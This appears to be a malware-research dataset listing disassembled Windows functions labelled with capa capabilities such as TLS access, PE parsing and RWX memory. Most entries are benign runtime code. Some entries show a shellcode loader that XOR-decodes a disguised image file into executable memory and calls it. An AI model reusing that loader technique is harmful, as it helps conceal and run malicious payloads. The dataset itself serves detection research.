joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400125f0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov ecx, dword [0x140037058]
test ecx, ecx
je 0x1400126ad
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jbe 0x140012620
cmp qword [rax + 8], 0
je 0x140012620
add rax, 0x10
jmp 0x1400126a7
mov ecx, dword [0x140037058]
test ecx, ecx
je 0x1400126c0
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x1400126a5
mov rsi, rax
test rax, rax
jne 0x14001268b
movzx eax, byte [0x140044030]
mov ecx, 0x20
mov edx, 8
call fcn.140001c10
test rax, rax
je 0x1400126e3
mov rsi, rax
lea rax, [0x140037040]
mov qword [rsi], rax
mov qword [rsi + 8], 0
mov ecx, dword [0x140037058]
test ecx, ecx
je 0x1400126d3
dec ecx
mov rdx, rsi
call sub.KERNEL32.dll_TlsSetValue
mov qword [rsi + 8], 1
lea rax, [rsi + 0x10]
mov qword [rsi + 0x10], 0
mov byte [rsi + 0x18], 0
jmp 0x1400126a7
xor eax, eax
add rsp, 0x20
pop rsi
ret
lea rcx, [0x140037040]
call fcn.140010fe0
mov ecx, eax
jmp 0x140012605
lea rcx, [0x140037040]
call fcn.140010fe0
mov ecx, eax
jmp 0x140012630
lea rcx, [0x140037040]
call fcn.140010fe0
mov ecx, eax
jmp 0x140012683
mov ecx, 8
mov edx, 0x20
call fcn.140002070
ud2

Function at 0x140015240
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
movzx r11d, byte [rdx + 0x38]
cmp r11b, 1
ja 0x1400152a8
movzx r10d, byte [rdx + 0x10]
movzx r8d, byte [rdx + 0x3a]
xor eax, eax
movzx r9d, r10b
test r8b, r8b
jne 0x1400153f6
cmp r10b, 5
jb 0x1400153f6
mov r10, qword [rdx]
mov rax, qword [rdx + 8]
xor esi, esi
test r11b, r11b
jne 0x140015298
cmp r9b, 6
je 0x140015298
mov esi, 2
cmp rax, 2
jb 0x14001549d
cmp rsi, rax
jne 0x1400153b9
xor eax, eax
jmp 0x1400153f6
xor eax, eax
xor r8d, r8d
xor r10d, r10d
add rax, r10
lea rdi, [r10 + rsi]
inc rdi
cmp rdi, rax
invalid
sete al
movzx r10d, byte [r10 + rsi]
invalid
test al, 1
jne 0x1400153eb
cmp r10b, 0x2e
jne 0x1400153eb
lea r8, [0x14003d2d8]
mov ecx, 2
jmp 0x140015493
Function at 0x140035f60
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140036d70
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140036d70
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140035fd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400441f4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140036180
mov rax, qword [0x1400441f8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14003601c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400360a7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140036000
mov rcx, r12
call fcn.140036a80
mov rbp, rax
test rax, rax
je 0x1400361dd
mov rax, qword [0x1400441f8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.140036bb0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400441f8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400361c2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400360a0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140036130
add dword [0x1400441f4], 1
cmp ebx, 8
jae 0x1400360d8
test bl, 4
jne 0x140036190
test ebx, ebx
je 0x1400360c9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x1400361b0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x1400360c9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x14003610a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400441f8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400360a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140035f60
xor edi, edi
jmp 0x140036027
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x1400360c9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x1400360c9
mov rax, qword [0x1400441f8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140035f60
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140035f60
nop
nop dword [rax]
Function at 0x1400366f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140044260]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140044240]
test rbx, rbx
je 0x140036744
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14003673b
test r12, r12
je 0x14003673b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140036720
lea rcx, [0x140044260]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140036a80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x14003eb60]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140036af9
mov rcx, r10
call fcn.140036950
test eax, eax
je 0x140036af9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140036af6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x140036aed
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140036af9
add r8, 0x28
cmp r8, r9
jne 0x140036ad8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x1400b6980
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14011be30], rbx
je 0x1400b69cc
cmp rax, rbx
jne 0x1400b69bf
mov ebx, 1
mov esi, ebx
jmp 0x1400b69d1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400b69a4
mov ebx, 1
mov eax, dword [0x14011be38]
cmp eax, ebx
jne 0x1400b69e7
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400b6a4c
mov eax, dword [0x14011be38]
test eax, eax
jne 0x1400b6a46
mov dword [0x14011be38], ebx
lea r15, [0x1400ca800]
lea rdi, [0x1400ca7e8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x1400b6a38
test eax, eax
jne 0x1400b6a3c
cmp qword [rdi], 0
je 0x1400b6a2d
mov rax, qword [rdi]
mov rcx, qword [str._w_v_]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x1400b6a0e
test eax, eax
je 0x1400b6a4c
mov eax, 0xff
jmp 0x1400b6b28
mov dword [0x14011a418], ebx
mov eax, dword [0x14011be38]
cmp eax, ebx
jne 0x1400b6a73
lea rdx, [0x1400ca7e0]
lea rcx, [0x1400ca218]
call sub.msvcrt.dll__initterm
mov dword [0x14011be38], 2
test esi, esi
jne 0x1400b6a80
xor eax, eax
xchg qword [0x14011be30], rax
cmp qword [0x14011be50], 0
je 0x1400b6ab4
lea rcx, [0x14011be50]
call fcn.1400b7150
test eax, eax
je 0x1400b6ab4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14011be50]
mov r9, qword [str._w_v_]
call r9
mov r8, qword [0x14011a430]
mov rdx, qword [0x14011a428]
mov ecx, dword [0x14011a420]
call fcn.140003860
mov dword [0x14011a414], eax
cmp dword [0x14011a438], 0
jne 0x1400b6ae4
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14011a418], 0
jne 0x1400b6af9
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14011a414]
jmp 0x1400b6b28
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.1401b3000
add rsp, 0x28
jmp 0x1400b6980

Function at 0x1400b704c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400b7098
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400b7090
cmp dword [rcx + 0x3c], edx
jl 0x1400b7090
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1400b7090
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x1400b7098
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140008b80
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x70]
lea rcx, vtable.Win32xx::CWinApp.0
mov qword [rax], rcx
lea rcx, [rsp + 0x20]
call fcn.140005b80
mov rax, qword [rsp + 0x70]
add rax, 0x48
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.140013ae0
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
jmp 0x140008bcc
lea rcx, [rsp + 0x20]
call fcn.140009c50
mov rax, qword [rsp + 0x70]
add rax, 0x48
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1400152f0
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140009c70
movzx eax, al
test eax, eax
je 0x140008c55
lea rcx, [rsp + 0x20]
call fcn.140009b00
mov rcx, rax
call fcn.140009a20
add rax, 0x18
mov rcx, rax
call fcn.140013db0
lea rcx, [rsp + 0x20]
call fcn.140009b00
mov rcx, rax
call fcn.140009a20
add rax, 0x60
mov rcx, rax
call fcn.140013e30
lea rcx, [rsp + 0x20]
call fcn.140009b00
mov rcx, rax
call fcn.140009a20
add rax, 0x48
mov rcx, rax
call fcn.140013db0
jmp 0x140008bc2
lea rcx, [rsp + 0x28]
call fcn.140005c60
mov rax, qword [rsp + 0x70]
add rax, 0x38
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.140013a30
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
jmp 0x140008c89
lea rcx, [rsp + 0x28]
call fcn.140009b40
mov rax, qword [rsp + 0x70]
add rax, 0x38
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.140015250
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140009820
movzx eax, al
test eax, eax
je 0x140008ce1
lea rcx, [rsp + 0x28]
call fcn.140009ae0
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x140008cdf
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x140008c7f
mov rax, qword [rsp + 0x70]
add rax, 0x38
mov rcx, rax
call fcn.140013c40
mov rax, qword [rsp + 0x70]
add rax, 0x18
mov rcx, rax
call fcn.140013c40
mov rax, qword [rsp + 0x70]
add rax, 8
mov rcx, rax
call fcn.140013c40
mov rax, qword [rsp + 0x70]
add rax, 0x28
mov rcx, rax
call fcn.140013c40
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0xe8], 0xffffffff
je 0x140008d58
mov rcx, qword [rsp + 0x70]
call fcn.14000cd80
xor edx, edx
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax + 0xe8]
call qword [sym.imp.KERNEL32.dll_TlsFree]
mov rcx, 0xffffffffffffffff
call fcn.14000e690
mov rax, qword [rsp + 0x70]
add rax, 0xb0
mov rcx, rax
call fcn.140008a10
mov rax, qword [rsp + 0x70]
add rax, 0x88
mov rcx, rax
call fcn.140008a10
mov rax, qword [rsp + 0x70]
add rax, 0x60
mov rcx, rax
call fcn.140008a10
mov rax, qword [rsp + 0x70]
add rax, 0x48
mov rcx, rax
call fcn.140008980
mov rax, qword [rsp + 0x70]
add rax, 0x38
mov rcx, rax
call fcn.140008850
mov rax, qword [rsp + 0x70]
add rax, 0x28
mov rcx, rax
call fcn.140008850
mov rax, qword [rsp + 0x70]
add rax, 0x18
mov rcx, rax
call fcn.140008850
mov rax, qword [rsp + 0x70]
add rax, 8
mov rcx, rax
call fcn.140008850
nop
add rsp, 0x68
ret
Function at 0x14000b770
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
call fcn.14000c7b0
mov rcx, rax
call fcn.14000cd80
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000b7b6
mov r8d, 0x334
lea rdx, str.C:Old_DCNeuFrameWorkWin32730includewincore.h
lea rcx, str.pTLSData
call fcn.1400245c4
xor eax, eax
mov rax, qword [rsp + 0x20]
add rax, 0x18
mov rcx, rax
call fcn.140013db0
mov rax, qword [rsp + 0x20]
add rax, 0x30
mov rcx, rax
call fcn.140013db0
mov rax, qword [rsp + 0x20]
add rax, 0x48
mov rcx, rax
call fcn.140013db0
mov rax, qword [rsp + 0x20]
add rax, 0x60
mov rcx, rax
call fcn.140013e30
add rsp, 0x38
ret

Function at 0x14000e480
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rcx, qword [rsp + 0x60]
call fcn.14000cd80
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000e55f
mov ecx, 0x78
call fcn.14001868c
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000e4d4
mov rcx, qword [rsp + 0x28]
call fcn.1400074f0
mov qword [rsp + 0x30], rax
jmp 0x14000e4dd
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x60]
add rax, 0x88
mov rcx, rax
call fcn.14000cf80
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140005760
nop
mov rax, qword [rsp + 0x60]
add rax, 0x48
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.140016270
nop
lea rcx, [rsp + 0x40]
call fcn.140007fc0
mov rax, qword [rsp + 0x60]
add rax, 0x88
mov rcx, rax
call fcn.14000daf0
mov rcx, qword [rsp + 0x60]
call fcn.14000cd80
mov rdx, qword [rsp + 0x20]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rax, qword [rsp + 0x20]
add rsp, 0x58
ret
Function at 0x140017010
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
add rax, 0x28
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rax, str.CWinException_thrown
add rsp, 0x28
ret

Function at 0x1400190d4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001911e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001911e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001911e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001911e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001911e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140019120
xor al, al
add rsp, 0x28
ret

Function at 0x140028918
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140028744
Function at 0x14000147a
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400538d0]
mov dword [rax], 1
mov rax, qword [0x1400538e0]
mov dword [rax], 1
mov rax, qword [0x1400538f0]
mov dword [rax], 1
mov rax, qword [0x1400538c0]
mov dword [rax], 1
mov rax, qword [0x140053780]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d8
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001504
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000152a
cmp eax, 0x20b
je 0x140001551
jmp 0x140001580
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000153d
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000156c
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400017ae
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
movabs rax, 0x622e74757074756f
mov qword [rbp - 0x43], rax
mov word [rbp - 0x3b], 0x6e69
mov byte [rbp - 0x39], 0
cmp dword [rbp + 0x10], 1
jne 0x1400017ee
lea rax, str.mode_1:_build_shellcode_after_xor_n
mov rcx, rax
call dbg.printf
cmp dword [rbp + 0x10], 2
jne 0x140001803
lea rax, str.mode_2:_recover_and_run_shellcode_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x18]
lea rdx, [0x140053063]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0x20]
lea rdx, [0x140053063]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x28], 0
je 0x14000183f
cmp qword [rbp - 0x30], 0
jne 0x140001858
lea rax, str.Error_opening_files
mov rcx, rax
call sym.perror
mov eax, 0
jmp 0x1400019f3
cmp dword [rbp + 0x10], 1
jne 0x140001895
lea rax, [rbp - 0x43]
lea rdx, [0x14005307a]
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001895
lea rax, str.Error_opening_files
mov rcx, rax
call sym.perror
mov eax, 0
jmp 0x1400019f3
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x34], 0
cmp dword [rbp + 0x10], 2
jne 0x140001923
mov rax, qword [rbp - 0x28]
mov rcx, rax
call dbg.getFileSize
mov dword [rbp - 0x34], eax
mov eax, dword [rbp - 0x34]
mov edx, eax
lea rax, str.size:__ld_n
mov rcx, rax
call dbg.printf
mov eax, dword [rbp - 0x34]
cdqe
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x14000191b
lea rax, str.Error_allocating_memory_n
mov rcx, rax
call sym.perror
mov eax, 0
jmp 0x1400019f3
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x10], rax
cmp dword [rbp - 0x20], 0xffffffff
jne 0x140001940
mov rax, qword [rbp - 0x30]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
cmp dword [rbp - 0x1c], 0xffffffff
je 0x140001999
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.fgetc
mov dword [rbp - 0x1c], eax
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.fgetc
mov dword [rbp - 0x20], eax
mov eax, dword [rbp - 0x1c]
xor eax, dword [rbp - 0x20]
mov dword [rbp - 0x38], eax
cmp dword [rbp + 0x10], 1
jne 0x140001981
mov rdx, qword [rbp - 8]
mov eax, dword [rbp - 0x38]
mov ecx, eax
call sym.fputc
cmp dword [rbp + 0x10], 2
jne 0x140001923
mov eax, dword [rbp - 0x38]
mov edx, eax
mov rax, qword [rbp - 0x10]
mov byte [rax], dl
add qword [rbp - 0x10], 1
jmp 0x140001923
nop
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.fclose
cmp dword [rbp + 0x10], 1
jne 0x1400019e7
mov rax, qword [rbp - 8]
mov rcx, rax
call dbg.getFileSize
mov dword [rbp - 0x34], eax
mov eax, dword [rbp - 0x34]
mov edx, eax
lea rax, str.output_size:__ld_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
cmp dword [rbp + 0x10], 2
jne 0x1400019f3
mov rax, qword [rbp - 0x18]
jmp 0x1400019f3
add rsp, 0x70
pop rbp
ret
Function at 0x1400019f9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
call sym.__main
movabs rax, 0x646f636c6c656873
mov qword [rbp - 0x16], rax
mov dword [rbp - 0xe], 0x69622e65
mov word [rbp - 0xa], 0x6e
movabs rax, 0x6f4c6968536e6547
mov qword [rbp - 0x25], rax
mov dword [rbp - 0x1d], 0x6a2e6f67
mov word [rbp - 0x19], 0x6770
mov byte [rbp - 0x17], 0
lea rax, [rbp - 0x25]
mov r8, rax
lea rax, str.output.bin
mov rdx, rax
mov ecx, 2
call dbg.buildXorPayload
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
call rax
mov rax, qword [rbp - 8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140001e10
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002a42
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140056128]
test eax, eax
je 0x140002ada
lea rax, [0x140056100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140056130]
mov qword [rbp - 8], rax
jmp 0x140002abe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002ab2
cmp qword [rbp - 0x10], 0
je 0x140002ab2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002a78
lea rax, [0x140056100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002adb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002be0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002c08
mov eax, 0
jmp 0x140002c56
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002c31
mov eax, 0
jmp 0x140002c56
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002c51
mov eax, 0
jmp 0x140002c56
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400020a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400020ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400020ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400020ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400020ee
cmp dword [rcx + 0x84], 0xe
jbe 0x1400020ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400020f0
xor al, al
add rsp, 0x28
ret